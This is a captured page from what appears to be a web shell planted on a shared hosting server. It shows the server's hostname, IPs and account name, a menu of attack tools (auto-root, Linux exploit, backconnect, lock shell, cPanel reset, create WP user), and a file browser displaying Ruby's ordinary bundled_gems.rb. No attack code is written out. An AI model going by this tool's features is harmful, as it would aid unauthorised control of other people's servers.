Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby34 /
share /
ruby /
[ HOME SHELL ]
Name
Size
Permission
Action
bigdecimal
[ DIR ]
drwxr-xr-x
cgi
[ DIR ]
drwxr-xr-x
did_you_mean
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
erb
[ DIR ]
drwxr-xr-x
error_highlight
[ DIR ]
drwxr-xr-x
fiddle
[ DIR ]
drwxr-xr-x
forwardable
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
logger
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
objspace
[ DIR ]
drwxr-xr-x
open3
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
prism
[ DIR ]
drwxr-xr-x
psych
[ DIR ]
drwxr-xr-x
random
[ DIR ]
drwxr-xr-x
reline
[ DIR ]
drwxr-xr-x
ripper
[ DIR ]
drwxr-xr-x
ruby_vm
[ DIR ]
drwxr-xr-x
set
[ DIR ]
drwxr-xr-x
strscan
[ DIR ]
drwxr-xr-x
syntax_suggest
[ DIR ]
drwxr-xr-x
unicode_normalize
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
vendor_ruby
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
5.54
KB
-rw-r--r--
benchmark.rb
18.66
KB
-rw-r--r--
bundled_gems.rb
7.28
KB
-rw-r--r--
cgi.rb
9.83
KB
-rw-r--r--
coverage.rb
368
B
-rw-r--r--
date.rb
1.17
KB
-rw-r--r--
delegate.rb
11.68
KB
-rw-r--r--
did_you_mean.rb
4.51
KB
-rw-r--r--
digest.rb
3.3
KB
-rw-r--r--
erb.rb
14.53
KB
-rw-r--r--
error_highlight.rb
84
B
-rw-r--r--
expect.rb
2.19
KB
-rw-r--r--
fiddle.rb
3.67
KB
-rw-r--r--
fileutils.rb
78.8
KB
-rw-r--r--
find.rb
2.52
KB
-rw-r--r--
forwardable.rb
9.03
KB
-rw-r--r--
ipaddr.rb
22.4
KB
-rw-r--r--
json.rb
19.58
KB
-rw-r--r--
logger.rb
22.49
KB
-rw-r--r--
mkmf.rb
92.63
KB
-rw-r--r--
monitor.rb
6.97
KB
-rw-r--r--
objspace.rb
4.14
KB
-rw-r--r--
open-uri.rb
28.38
KB
-rw-r--r--
open3.rb
47.51
KB
-rw-r--r--
openssl.rb
1.06
KB
-rw-r--r--
optionparser.rb
59
B
-rw-r--r--
optparse.rb
64.17
KB
-rw-r--r--
ostruct.rb
14.22
KB
-rw-r--r--
pathname.rb
17.2
KB
-rw-r--r--
pp.rb
18.36
KB
-rw-r--r--
prettyprint.rb
15.93
KB
-rw-r--r--
prism.rb
2.93
KB
-rw-r--r--
pstore.rb
20.36
KB
-rw-r--r--
psych.rb
25.1
KB
-rw-r--r--
readline.rb
215
B
-rw-r--r--
reline.rb
14.93
KB
-rw-r--r--
resolv.rb
87.96
KB
-rw-r--r--
ripper.rb
2.44
KB
-rw-r--r--
securerandom.rb
2.28
KB
-rw-r--r--
set.rb
25
KB
-rw-r--r--
shellwords.rb
7.53
KB
-rw-r--r--
singleton.rb
5.52
KB
-rw-r--r--
socket.rb
59.49
KB
-rw-r--r--
syntax_suggest.rb
74
B
-rw-r--r--
tempfile.rb
20.68
KB
-rw-r--r--
time.rb
23.96
KB
-rw-r--r--
timeout.rb
5.72
KB
-rw-r--r--
tmpdir.rb
5.62
KB
-rw-r--r--
tsort.rb
14.29
KB
-rw-r--r--
un.rb
11.17
KB
-rw-r--r--
uri.rb
3.09
KB
-rw-r--r--
weakref.rb
1.36
KB
-rw-r--r--
yaml.rb
2.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bundled_gems.rb
# -*- frozen-string-literal: true -*- module Gem::BUNDLED_GEMS # :nodoc: SINCE = { "matrix" => "3.1.0", "net-ftp" => "3.1.0", "net-imap" => "3.1.0", "net-pop" => "3.1.0", "net-smtp" => "3.1.0", "prime" => "3.1.0", "racc" => "3.3.0", "abbrev" => "3.4.0", "base64" => "3.4.0", "bigdecimal" => "3.4.0", "csv" => "3.4.0", "drb" => "3.4.0", "getoptlong" => "3.4.0", "mutex_m" => "3.4.0", "nkf" => "3.4.0", "observer" => "3.4.0", "resolv-replace" => "3.4.0", "rinda" => "3.4.0", "syslog" => "3.4.0", "ostruct" => "3.5.0", "pstore" => "3.5.0", "rdoc" => "3.5.0", "win32ole" => "3.5.0", "fiddle" => "3.5.0", "logger" => "3.5.0", "benchmark" => "3.5.0", "irb" => "3.5.0", "reline" => "3.5.0", # "readline" => "3.5.0", # This is wrapper for reline. We don't warn for this. }.freeze SINCE_FAST_PATH = SINCE.transform_keys { |g| g.sub(/\A.*\-/, "") }.freeze EXACT = { "kconv" => "nkf", }.freeze PREFIXED = { "bigdecimal" => true, "csv" => true, "drb" => true, "rinda" => true, "syslog" => true, "fiddle" => true, }.freeze WARNED = {} # unfrozen conf = ::RbConfig::CONFIG if ENV["TEST_BUNDLED_GEMS_FAKE_RBCONFIG"] LIBDIR = (File.expand_path(File.join(__dir__, "..", "lib")) + "/").freeze rubyarchdir = $LOAD_PATH.find{|path| path.include?(".ext/common") } ARCHDIR = (File.expand_path(rubyarchdir) + "/").freeze else LIBDIR = (conf["rubylibdir"] + "/").freeze ARCHDIR = (conf["rubyarchdir"] + "/").freeze end dlext = [conf["DLEXT"], "so"].uniq DLEXT = /\.#{Regexp.union(dlext)}\z/ LIBEXT = /\.#{Regexp.union("rb", *dlext)}\z/ def self.replace_require(specs) return if [::Kernel.singleton_class, ::Kernel].any? {|klass| klass.respond_to?(:no_warning_require) } spec_names = specs.to_a.each_with_object({}) {|spec, h| h[spec.name] = true } [::Kernel.singleton_class, ::Kernel].each do |kernel_class| kernel_class.send(:alias_method, :no_warning_require, :require) kernel_class.send(:define_method, :require) do |name| if message = ::Gem::BUNDLED_GEMS.warning?(name, specs: spec_names) uplevel = ::Gem::BUNDLED_GEMS.uplevel if uplevel > 0 Kernel.warn message, uplevel: uplevel else Kernel.warn message end end kernel_class.send(:no_warning_require, name) end if kernel_class == ::Kernel kernel_class.send(:private, :require) else kernel_class.send(:public, :require) end end end def self.uplevel frame_count = 0 require_labels = ["replace_require", "require"] uplevel = 0 require_found = false Thread.each_caller_location do |cl| frame_count += 1 if require_found unless require_labels.include?(cl.base_label) return uplevel end else if require_labels.include?(cl.base_label) require_found = true end end uplevel += 1 # Don't show script name when bundle exec and call ruby script directly. if cl.path.end_with?("bundle") frame_count = 0 break end end require_found ? 1 : frame_count - 1 end def self.find_gem(path) if !path return elsif path.start_with?(ARCHDIR) n = path.delete_prefix(ARCHDIR).sub(DLEXT, "").chomp(".rb") elsif path.start_with?(LIBDIR) n = path.delete_prefix(LIBDIR).chomp(".rb") else return end (EXACT[n] || !!SINCE[n]) or PREFIXED[n = n[%r[\A[^/]+(?=/)]]] && n end def self.warning?(name, specs: nil) # name can be a feature name or a file path with String or Pathname feature = File.path(name) # irb already has reline as a dependency on gemspec, so we don't want to warn about it. # We should update this with a more general solution when we have another case. # ex: Gem.loaded_specs[called_gem].dependencies.any? {|d| d.name == feature } return false if feature.start_with?("reline") && caller_locations(2, 1)[0].to_s.include?("irb") # The actual checks needed to properly identify the gem being required # are costly (see [Bug #20641]), so we first do a much cheaper check # to exclude the vast majority of candidates. if feature.include?("/") # bootsnap expands `require "csv"` to `require "#{LIBDIR}/csv.rb"`, # and `require "syslog"` to `require "#{ARCHDIR}/syslog.so"`. name = feature.delete_prefix(ARCHDIR).delete_prefix(LIBDIR).sub(LIBEXT, "") segments = name.split("/") name = segments.first if !SINCE[name] name = segments[0..1].join("-") return unless SINCE[name] end else name = feature.sub(LIBEXT, "") return unless SINCE_FAST_PATH[name] end return if specs.include?(name) _t, path = $:.resolve_feature_path(feature) if gem = find_gem(path) return if specs.include?(gem) elsif SINCE[name] && !path gem = true else return end return if WARNED[name] WARNED[name] = true if gem == true gem = name "#{feature} was loaded from the standard library, but" elsif gem "#{feature} is found in #{gem}, which" else return end + build_message(gem) end def self.build_message(gem) msg = " #{RUBY_VERSION < SINCE[gem] ? "will no longer be" : "is not"} part of the default gems starting from Ruby #{SINCE[gem]}." if defined?(Bundler) msg += "\nYou can add #{gem} to your Gemfile or gemspec to silence this warning." # We detect the gem name from caller_locations. First we walk until we find `require` # then take the first frame that's not from `require`. # # Additionally, we need to skip Bootsnap and Zeitwerk if present, these # gems decorate Kernel#require, so they are not really the ones issuing # the require call users should be warned about. Those are upwards. frames_to_skip = 3 location = nil require_found = false Thread.each_caller_location do |cl| if frames_to_skip >= 1 frames_to_skip -= 1 next end if require_found if cl.base_label != "require" location = cl.path break end else if cl.base_label == "require" require_found = true end end end if location && File.file?(location) && !location.start_with?(Gem::BUNDLED_GEMS::LIBDIR) caller_gem = nil Gem.path.each do |path| if location =~ %r{#{path}/gems/([\w\-\.]+)} caller_gem = $1 break end end if caller_gem msg += "\nAlso please contact the author of #{caller_gem} to request adding #{gem} into its gemspec." end end else msg += " Install #{gem} from RubyGems." end msg end freeze end # for RubyGems without Bundler environment. # If loading library is not part of the default gems and the bundled gems, warn it. class LoadError def message # :nodoc: return super unless path name = path.tr("/", "-") if !defined?(Bundler) && Gem::BUNDLED_GEMS::SINCE[name] && !Gem::BUNDLED_GEMS::WARNED[name] warn name + Gem::BUNDLED_GEMS.build_message(name), uplevel: Gem::BUNDLED_GEMS.uplevel end super end end
Close